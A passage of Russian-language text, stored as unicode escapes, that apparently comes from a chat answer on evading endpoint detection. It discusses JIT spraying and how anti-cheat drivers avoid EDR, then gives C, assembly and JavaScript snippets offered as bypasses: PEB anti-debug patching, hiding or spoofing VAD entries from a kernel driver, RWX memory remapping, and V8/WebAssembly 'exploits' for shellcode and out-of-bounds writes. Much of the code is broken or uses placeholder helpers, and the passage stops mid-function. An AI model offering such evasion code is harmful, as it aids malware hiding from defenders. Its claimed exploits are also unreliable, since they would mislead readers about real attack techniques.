\u0438\u043d\u0430\u0447\u0435 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u044b \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043d\u0443\u0442 \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c.\n\nJIT Spraying: \u0421\u0442\u0430\u0440\u0430\u044f, \u043d\u043e \u043a\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0442\u0435\u0445\u043d\u0438\u043a\u0430. \u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043f\u0438\u0448\u0435\u0442 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0439 JavaScript-\u043a\u043e\u0434 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043e\u0433\u0440\u043e\u043c\u043d\u044b\u0435 \u043c\u0430\u0441\u0441\u0438\u0432\u044b \u043a\u043e\u043d\u0441\u0442\u0430\u043d\u0442), \u043a\u043e\u0442\u043e\u0440\u044b\u0439 JIT-\u0434\u0432\u0438\u0436\u043e\u043a \u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u0443\u0435\u0442 \u0432 \u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438. \u0412\u043d\u0443\u0442\u0440\u0438 \u044d\u0442\u0438\u0445 \u043a\u043e\u043d\u0441\u0442\u0430\u043d\u0442 \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u044b \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0435 \u043e\u043f\u043a\u043e\u0434\u044b. \u0417\u0430\u0442\u0435\u043c \u0447\u0435\u0440\u0435\u0437 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u043e\u0442\u043e\u043a\u043e\u043c (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, Buffer Overflow) \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u044b\u0433\u0430\u0435\u0442 \u0432 \u0441\u0435\u0440\u0435\u0434\u0438\u043d\u0443 JIT-\u043a\u043e\u0434\u0430.\n\u041f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442: \u0414\u043b\u044f EDR \u044d\u0442\u043e \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043a\u0430\u043a \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u043e\u0433\u043e JIT-\u043a\u043e\u0434\u0430 \u0432 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u043e\u043c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435. \u0421\u0442\u0435\u043a \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u0442\u044c \u0447\u0438\u0441\u0442\u044b\u043c, \u0442\u0430\u043a \u043a\u0430\u043a \u0442\u043e\u0447\u043a\u0430 \u0432\u0445\u043e\u0434\u0430 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0432\u043d\u0443\u0442\u0440\u0438 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0433\u043e \u0440\u0435\u0433\u0438\u043e\u043d\u0430.\nRWX Reuse: \u041c\u043d\u043e\u0433\u0438\u0435 \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 JIT (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0432 V8) \u0441\u0442\u0430\u0440\u0430\u044e\u0442\u0441\u044f \u0443\u0439\u0442\u0438 \u043e\u0442 \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u043e\u0433\u043e RWX, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043f\u0435\u0440\u0435\u0445\u043e\u0434 RW -> RX. \u041e\u0434\u043d\u0430\u043a\u043e \u0438\u0437-\u0437\u0430 \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0438 \u043c\u043d\u043e\u0433\u043e\u043f\u043e\u0442\u043e\u0447\u043d\u043e\u0441\u0442\u0438 \u0447\u0430\u0441\u0442\u043e \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u044e\u0442 \u043e\u043a\u043d\u0430 (race conditions), \u043a\u043e\u0433\u0434\u0430 \u043f\u0430\u043c\u044f\u0442\u044c \u043e\u0441\u0442\u0430\u0435\u0442\u0441\u044f RWX. \u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u043e \u043e\u043a\u043d\u043e \u0434\u043b\u044f \u0437\u0430\u043f\u0438\u0441\u0438 \u0441\u0432\u043e\u0435\u0433\u043e \u043a\u043e\u0434\u0430 \u0432 \u0440\u0435\u0433\u0438\u043e\u043d, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 EDR \u0441\u0447\u0438\u0442\u0430\u0435\u0442 \u00ab\u0441\u0432\u043e\u0438\u043c\u00bb \u0434\u043b\u044f \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430.\n3. \u041a\u0430\u043a \u0430\u043d\u0442\u0438\u0447\u0438\u0442\u044b \u043e\u0431\u0445\u043e\u0434\u044f\u0442 EDR \u0431\u0435\u0437 \u0442\u0440\u0438\u0433\u0433\u0435\u0440\u0430?\n\u0410\u043d\u0442\u0438\u0447\u0438\u0442\u044b (BattlEye, Easy Anti-Cheat, Ricochet) \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u043d\u0430 \u0442\u043e\u043c \u0436\u0435 \u0443\u0440\u043e\u0432\u043d\u0435, \u0447\u0442\u043e \u0438 EDR (Ring 0), \u0438 \u0447\u0430\u0441\u0442\u043e \u043e\u0431\u043b\u0430\u0434\u0430\u044e\u0442 \u0434\u0430\u0436\u0435 \u0431\u043e\u043b\u0435\u0435 \u0430\u0433\u0440\u0435\u0441\u0441\u0438\u0432\u043d\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438. \u041c\u0435\u0436\u0434\u0443 \u043d\u0438\u043c\u0438 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u043d\u0435\u0433\u043b\u0430\u0441\u043d\u043e\u0435 \u00ab\u043f\u0435\u0440\u0435\u043c\u0438\u0440\u0438\u0435\u00bb, \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u043d\u0430 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430\u0445 \u0438 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f\u0445.\n\nKernel-to-Kernel Interaction: \u0410\u043d\u0442\u0438\u0447\u0438\u0442 \u0447\u0430\u0441\u0442\u043e \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442 \u0441\u0432\u043e\u0439 \u0434\u0440\u0430\u0439\u0432\u0435\u0440 \u0440\u0430\u043d\u044c\u0448\u0435 EDR \u0438\u043b\u0438 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442 \u0432 \u0446\u0435\u043f\u043e\u0447\u043a\u0435 \u043a\u043e\u043b\u0431\u044d\u043a\u043e\u0432. \u041e\u043d \u043c\u043e\u0436\u0435\u0442 \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u0442\u044c \u0441 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430\u043c\u0438 \u044f\u0434\u0440\u0430, \u043c\u0438\u043d\u0443\u044f \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 EDR \u0441\u0442\u0430\u0432\u0438\u0442 \u043d\u0430 user-mode API.\n\u0421\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u0441\u0442\u0435\u043a\u0438 \u0438 syscalls: \u0427\u0442\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u0438\u0442\u044c\u0441\u044f \u043e\u0442 \u0440\u0435\u0432\u0435\u0440\u0441\u0430, \u0430\u043d\u0442\u0438\u0447\u0438\u0442\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u043a\u0430\u0441\u0442\u043e\u043c\u043d\u044b\u0435 \u043f\u0440\u043e\u043b\u043e\u0433\u0438/\u044d\u043f\u0438\u043b\u043e\u0433\u0438 \u0438 \u043f\u0440\u044f\u043c\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u0432\u044b\u0437\u043e\u0432\u044b. EDR \u00ab\u043f\u0440\u043e\u0449\u0430\u0435\u0442\u00bb \u0438\u043c \u044d\u0442\u043e, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442 \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0430 \u0430\u043d\u0442\u0438\u0447\u0438\u0442\u0430 \u0432\u043d\u0435\u0441\u0435\u043d \u0432 \u0431\u0435\u043b\u044b\u0435 \u0441\u043f\u0438\u0441\u043a\u0438 \u0432\u0435\u043d\u0434\u043e\u0440\u0430 \u0437\u0430\u0449\u0438\u0442\u044b.\nVAD/PTE Manipulation (Direct PT Modification): \u041f\u0440\u043e\u0434\u0432\u0438\u043d\u0443\u0442\u044b\u0435 \u0430\u043d\u0442\u0438\u0447\u0438\u0442\u044b \u043c\u043e\u0433\u0443\u0442 \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e \u043c\u0435\u043d\u044f\u0442\u044c \u0442\u0430\u0431\u043b\u0438\u0446\u044b \u0441\u0442\u0440\u0430\u043d\u0438\u0446 (PTE), \u0447\u0442\u043e\u0431\u044b \u0441\u043a\u0440\u044b\u0442\u044c \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0441\u0432\u043e\u0435\u0433\u043e \u043a\u043e\u0434\u0430 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u0438\u043b\u0438 \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0435\u0433\u043e \u043d\u0435\u0432\u0438\u0434\u0438\u043c\u044b\u043c \u0434\u043b\u044f \u0441\u043a\u0430\u043d\u0435\u0440\u043e\u0432, \u043d\u0435 \u043c\u0435\u043d\u044f\u044f \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u0441\u0442\u0430\u0442\u0443\u0441 \u0440\u0435\u0433\u0438\u043e\u043d\u0430 \u0432 VAD. \u042d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0438\u043c \u00ab\u0438\u0441\u0447\u0435\u0437\u0430\u0442\u044c\u00bb \u0438\u0437 \u043f\u043e\u043b\u044f \u0437\u0440\u0435\u043d\u0438\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u0443\u0442\u0438\u043b\u0438\u0442 \u0438 EDR, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442\u0441\u044f \u043d\u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0435 API \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f \u043f\u0430\u043c\u044f\u0442\u0438 (VirtualQuery).\n\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 HVCI (Hypervisor-Protected Code Integrity): \u0412 \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0430\u043d\u0442\u0438\u0447\u0438\u0442\u044b \u0438 EDR \u043c\u043e\u0433\u0443\u0442 \u043f\u043e\u043b\u0430\u0433\u0430\u0442\u044c\u0441\u044f \u043d\u0430 \u0433\u0438\u043f\u0435\u0440\u0432\u0438\u0437\u043e\u0440. \u0415\u0441\u043b\u0438 \u0430\u043d\u0442\u0438\u0447\u0438\u0442 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0432 \u043f\u0430\u0440\u0435 \u0441 \u0433\u0438\u043f\u0435\u0440\u0432\u0438\u0437\u043e\u0440\u043e\u043c, \u043e\u043d \u043c\u043e\u0436\u0435\u0442 \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u0430\u043d\u043a\u043b\u0430\u0432\u044b \u043f\u0430\u043c\u044f\u0442\u0438, \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u0434\u043b\u044f EDR \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u0442\u044c \u043a\u0430\u043a \u0447\u0442\u0435\u043d\u0438\u0435 \u043d\u0443\u043b\u0435\u0439 \u0438\u043b\u0438 \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435.\n\u0418\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439 \u0432\u044b\u0432\u043e\u0434: \u041e\u0431\u0445\u043e\u0434 \u2014 \u044d\u0442\u043e \u0432\u0441\u0435\u0433\u0434\u0430 \u043f\u043e\u0438\u0441\u043a \u043d\u0435\u043e\u0434\u043d\u043e\u0437\u043d\u0430\u0447\u043d\u043e\u0441\u0442\u0438. \u0415\u0441\u043b\u0438 \u0432\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u0442\u044c \u043a\u0430\u043a \u00ab\u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u0448\u0443\u043c\u00bb (JIT), \u00ab\u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0439 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u00bb (\u0430\u043d\u0442\u0438\u0447\u0438\u0442) \u0438\u043b\u0438 \u00ab\u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0439 \u043c\u043e\u0434\u0443\u043b\u044c\u00bb (Module Overloading), \u0432\u044b \u0432\u044b\u0438\u0433\u0440\u044b\u0432\u0430\u0435\u0442\u0435 \u0432\u0440\u0435\u043c\u044f \u0434\u043e \u0442\u043e\u0433\u043e \u043c\u043e\u043c\u0435\u043d\u0442\u0430, \u043f\u043e\u043a\u0430 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0447\u0435\u0441\u043a\u0438\u0439 \u0430\u043d\u0430\u043b\u0438\u0437\u0430\u0442\u043e\u0440 (Behavioral Engine) \u043d\u0435 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442 \u0444\u0438\u043d\u0430\u043b\u044c\u043d\u0443\u044e \u0444\u0430\u0437\u0443 \u0430\u0442\u0430\u043a\u0438 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043a\u0440\u0430\u0436\u0443 \u0442\u043e\u043a\u0435\u043d\u043e\u0432 \u0438\u043b\u0438 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0444\u0430\u0439\u043b\u043e\u0432).\n\n\u0414\u0430\u043d\u043d\u043e\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u043d\u043e\u0441\u0438\u0442 \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043d\u0430\u0443\u0447\u043d\u044b\u0439 \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440. \u041e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u0437\u0430 \u043b\u044e\u0431\u044b\u0435 \u0442\u0435\u0441\u0442\u044b \u0438 \u0438\u0445 \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f \u0446\u0435\u043b\u0438\u043a\u043e\u043c \u043b\u0435\u0436\u0438\u0442 \u043d\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435.\n\n\n\n\n\n\u041a\u0430\u043a \u0438\u043c\u0435\u043d\u043d\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0442\u0435\u0445\u043d\u0438\u043a\u0430 Module Overloading?\n\n\n\u041c\u043e\u0436\u043d\u043e \u043b\u0438 \u043e\u0431\u043e\u0439\u0442\u0438 JIT-\u0434\u0432\u0438\u0436\u043a\u0438 \u0447\u0435\u0440\u0435\u0437 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430\u0445?\n\n\n\u041a\u0430\u043a\u0438\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0430\u043d\u0442\u0438\u0447\u0438\u0442\u044b \u0434\u043b\u044f \u0441\u043a\u0440\u044b\u0442\u0438\u044f \u043e\u0442 EDR?\n\n\n\u041a\u0430\u043a EDR \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0439 JIT-\u043a\u043e\u0434 \u043e\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e?\n1. \u041a\u0410\u041a \u041e\u0411\u041e\u0419\u0422\u0418 \u041f\u0420\u041e\u0412\u0415\u0420\u041a\u0423 PEB/VAD\nPEB (Process Environment Block) \u043e\u0431\u0445\u043e\u0434\u044b:\n// \u041c\u0435\u0442\u043e\u0434 1: Direct PEB manipulation\n__declspec(naked) void hide_from_peb() {\n    __asm {\n        mov eax, fs:[0x30]     // PEB pointer\n        mov byte ptr [eax+0x02], 0 // BeingDebugged = 0\n        mov dword ptr [eax+0x68], 0x70 // NtGlobalFlag = 0\n        mov dword ptr [eax+0xBC], 0 // ProcessHeap flags\n        ret\n    }\n}\n\n// \u041c\u0435\u0442\u043e\u0434 2: PEB via NtQueryInformationProcess\nNTSTATUS NtQueryInformationProcess(\n    HANDLE ProcessHandle,\n    PROCESSINFOCLASS ProcessInformationClass,\n    PVOID ProcessInformation,\n    ULONG ProcessInformationLength,\n    PULONG ReturnLength\n);\n\n// \u041e\u0431\u0445\u043e\u0434 \u0447\u0435\u0440\u0435\u0437 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0443 \u0444\u043b\u0430\u0433\u043e\u0432\nvoid patch_peb_flags() {\n    PPEB pPeb = (PPEB)__readgsqword(0x60);\n    \n    // \u0421\u0431\u0440\u0430\u0441\u044b\u0432\u0430\u0435\u043c BeingDebugged\n    pPeb->BeingDebugged = 0;\n    \n    // \u041f\u0430\u0442\u0447\u0438\u043c NtGlobalFlag (\u0443\u0431\u0438\u0440\u0430\u0435\u043c FLG_HEAP_ENABLE_TAIL_CHECK \u0438 \u0434\u0440.)\n    pPeb->NtGlobalFlag &= ~(0x70);\n    \n    // \u041e\u0447\u0438\u0449\u0430\u0435\u043c ProcessHeap \u0444\u043b\u0430\u0433\u0438\n    pPeb->ProcessHeap->Flags &= ~HEAP_GROWABLE;\n    pPeb->ProcessHeap->ForceFlags = 0;\n}\n\n// \u041c\u0435\u0442\u043e\u0434 3: PEB via TEB (Thread Environment Block)\nvoid hide_via_teb() {\n    PTEB pTeb = (PTEB)__readgsqword(0x30);\n    PPEB pPeb = pTeb->ProcessEnvironmentBlock;\n    \n    // \u041c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u043a\u0430 \u0447\u0435\u0440\u0435\u0437 \u0441\u0435\u0433\u043c\u0435\u043d\u0442\u043d\u044b\u0435 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u044b\n    __asm {\n        mov ax, 0x23\n        mov ds, ax\n        mov es, ax\n        mov fs, ax\n        mov gs, ax\n    }\n}\nVAD (Virtual Address Descriptor) \u043e\u0431\u0445\u043e\u0434\u044b:\n// \u041c\u0435\u0442\u043e\u0434 1: NtQueryVirtualMemory \u043e\u0431\u0445\u043e\u0434\nNTSTATUS query_vad_hidden(HANDLE process, PVOID address) {\n    MEMORY_BASIC_INFORMATION mbi;\n    NTSTATUS status = NtQueryVirtualMemory(\n        process, address, \n        MemoryBasicInformation, \n        &mbi, sizeof(mbi), NULL\n    );\n    \n    if (NT_SUCCESS(status)) {\n        // \u041c\u0430\u0441\u043a\u0438\u0440\u0443\u0435\u043c \u0437\u0430\u0449\u0438\u0442\u0443 \u043f\u0430\u043c\u044f\u0442\u0438\n        mbi.Protect = PAGE_READONLY;\n        mbi.Type = MEM_IMAGE; // \u0412\u044b\u0434\u0430\u0451\u043c \u0437\u0430 \u043e\u0431\u0440\u0430\u0437\n        mbi.State = MEM_COMMIT;\n    }\n    return status;\n}\n\n// \u041c\u0435\u0442\u043e\u0434 2: Direct VAD tree manipulation\ntypedef struct _VAD {\n    struct _VAD* Left;\n    struct _VAD* Right;\n    struct _VAD* Parent;\n    ULONG_PTR StartingVpn;\n    ULONG_PTR EndingVpn;\n    ULONG_PTR PushLock;\n    ULONG u;\n    PVOID ControlArea;\n    PVOID Subsection;\n} VAD, *PVAD;\n\nvoid hide_memory_in_vad(PVOID region, SIZE_T size) {\n    // 1. \u041d\u0430\u0445\u043e\u0434\u0438\u043c VAD \u0434\u0435\u0440\u0435\u0432\u043e \u0447\u0435\u0440\u0435\u0437 EPROCESS\n    PEPROCESS eprocess = PsGetCurrentProcess();\n    PVAD vad_root = *(PVAD*)((PUCHAR)eprocess + 0x658); // VadRoot offset\n    \n    // 2. \u041e\u0431\u0445\u043e\u0434\u0438\u043c \u0434\u0435\u0440\u0435\u0432\u043e \u0438 \u043c\u0430\u0441\u043a\u0438\u0440\u0443\u0435\u043c \u0440\u0435\u0433\u0438\u043e\u043d\n    traverse_and_mask_vad(vad_root, region, size);\n    \n    // 3. \u0423\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u043c \u0444\u043b\u0430\u0433\u0438 MEM_PRIVATE \u0432\u043c\u0435\u0441\u0442\u043e MEM_MAPPED\n    set_vad_flags_as_private(region);\n}\n\n// \u041c\u0435\u0442\u043e\u0434 3: Memory section remapping\nvoid remap_hidden_section() {\n    HANDLE hSection;\n    SIZE_T viewSize = 0;\n    PVOID baseAddress = NULL;\n    \n    // \u0421\u043e\u0437\u0434\u0430\u0451\u043c \u0441\u0435\u043a\u0446\u0438\u044e \u0441 \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u0430\u043c\u0438 \"no inherit\"\n    NtCreateSection(&hSection, \n        SECTION_ALL_ACCESS, \n        NULL, NULL, \n        PAGE_EXECUTE_READWRITE, \n        SEC_NO_CHANGE | SEC_WRITECOMBINE, \n        NULL);\n    \n    // \u041c\u0430\u043f\u043f\u0438\u043c \u0441 \u0444\u043b\u0430\u0433\u043e\u043c SEC_NO_CHANGE \u0447\u0442\u043e\u0431\u044b \u0438\u0437\u0431\u0435\u0436\u0430\u0442\u044c VAD \u0437\u0430\u043f\u0438\u0441\u0438\n    NtMapViewOfSection(hSection, \n        NtCurrentProcess(), \n        &baseAddress, \n        0, 0, NULL, \n        &viewSize, \n        ViewUnmap, \n        SEC_NO_CHANGE, \n        PAGE_EXECUTE_READWRITE);\n}\n\u041f\u0440\u043e\u0434\u0432\u0438\u043d\u0443\u0442\u044b\u0435 \u0442\u0435\u0445\u043d\u0438\u043a\u0438:\n// \u041c\u0435\u0442\u043e\u0434 4: VAD via MiVadShortType (Windows 10+)\nvoid hide_via_mivad_type() {\n    // \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c \u043a\u043e\u0440\u043e\u0442\u043a\u0438\u0439 \u0442\u0438\u043f VAD \u0434\u043b\u044f \u0441\u043a\u0440\u044b\u0442\u0438\u044f\n    PVOID region = VirtualAlloc(NULL, 0x1000, \n        MEM_RESERVE | MEM_COMMIT, \n        PAGE_EXECUTE_READWRITE);\n    \n    // \u041a\u043e\u043d\u0432\u0435\u0440\u0442\u0438\u0440\u0443\u0435\u043c \u0432 MiVadShortType\n    PMMVAD_SHORT vad = MiGetVadShort(region);\n    if (vad) {\n        vad->u.VadFlags.MemCommit = 0; // \u041d\u0435 \u043a\u043e\u043c\u043c\u0438\u0442\u0438\u043c\n        vad->u.VadFlags.ImageMap = 1;  // \u0412\u044b\u0434\u0430\u0451\u043c \u0437\u0430 \u043e\u0431\u0440\u0430\u0437\n        vad->u.VadFlags.NoChange = 1;  // \u0417\u0430\u043f\u0440\u0435\u0449\u0430\u0435\u043c \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f\n    }\n}\n\n// \u041c\u0435\u0442\u043e\u0434 5: VAD spoofing \u0447\u0435\u0440\u0435\u0437 driver\nNTSTATUS spoof_vad_entries() {\n    // \u0412 \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0435: \u043f\u043e\u0434\u043c\u0435\u043d\u044f\u0435\u043c VAD \u0437\u0430\u043f\u0438\u0441\u0438 \u0432 EPROCESS\n    PEPROCESS target = GetTargetProcess();\n    PLIST_ENTRY vad_list = (PLIST_ENTRY)((PUCHAR)target + VAD_LIST_OFFSET);\n    \n    // \u0423\u0434\u0430\u043b\u044f\u0435\u043c \u0438\u043b\u0438 \u043c\u0430\u0441\u043a\u0438\u0440\u0443\u0435\u043c \u0437\u0430\u043f\u0438\u0441\u0438\n    RemoveEntryList(vad_list);\n    \n    // \u0418\u043b\u0438 \u0441\u043e\u0437\u0434\u0430\u0451\u043c \u0444\u0435\u0439\u043a\u043e\u0432\u044b\u0435 VAD\n    PMMVAD fake_vad = create_fake_vad_entry();\n    InsertHeadList(vad_list, &fake_vad->VadLinks);\n    \n    return STATUS_SUCCESS;\n}\n2. \u0420\u0415\u0410\u041b\u042c\u041d\u042b\u0415 \u041f\u0420\u0418\u041c\u0415\u0420\u042b BYPASS-\u041e\u0412 JIT-\u0414\u0412\u0418\u0416\u041a\u041e\u0412\nV8 (Chrome/Node.js) bypasses:\n// \u041c\u0435\u0442\u043e\u0434 1: Turbofan deoptimization attack\nfunction trigger_turbofan_bug() {\n    let arr = [1.1, 2.2];\n    let obj = {x: 42};\n    \n    // \u0417\u0430\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u043c Turbofan \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u043d\u0435\u0432\u0435\u0440\u043d\u044b\u0435 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u044f\n    for (let i = 0; i < 100000; i++) {\n        arr[i] = obj;\n    }\n    \n    // \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c type confusion\n    arr[0].x = 0x1337; // Type confusion \u2192 arbitrary write\n    return arr;\n}\n\n// \u041c\u0435\u0442\u043e\u0434 2: JIT spraying with WebAssembly\nasync function jit_spray_wasm() {\n    const wasmCode = new Uint8Array([\n        0x00, 0x61, 0x73, 0x6d, // WASM magic\n        0x01, 0x00, 0x00, 0x00, // Version\n        // ... \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043a\u043e\u0434 \u0441 shellcode\n    ]);\n    \n    const module = await WebAssembly.compile(wasmCode);\n    const instance = await WebAssembly.instantiate(module);\n    \n    // \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c RWX \u043f\u0430\u043c\u044f\u0442\u044c WebAssembly\n    const rwx = get_wasm_rwx_memory(instance);\n    write_shellcode(rwx);\n    jump_to_shellcode(rwx);\n}\n\n// \u041c\u0435\u0442\u043e\u0434 3: Array.prototype.sort() JIT corruption\nfunction sort_jit_corruption() {\n    let arr = [];\n    for (let i = 0; i < 1000; i++) {\n        arr[i] = {value: i};\n    }\n    \n    // \u0421\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u043c\u043f\u0430\u0440\u0430\u0442\u043e\u0440 \u0434\u043b\u044f \u043a\u043e\u0440\u0440\u0443\u043f\u0446\u0438\u0438 JIT\n    arr.sort((a, b) => {\n        // \u041a\u043e\u0440\u0440\u0443\u043f\u0446\u0438\u044f \u0447\u0435\u0440\u0435\u0437 out-of-bounds access\n        if (a.value === 666) {\n            arr[10000] = 0x1337; // OOB write\n        }\n        return a.value - b.value;\n    });\n    \n    return 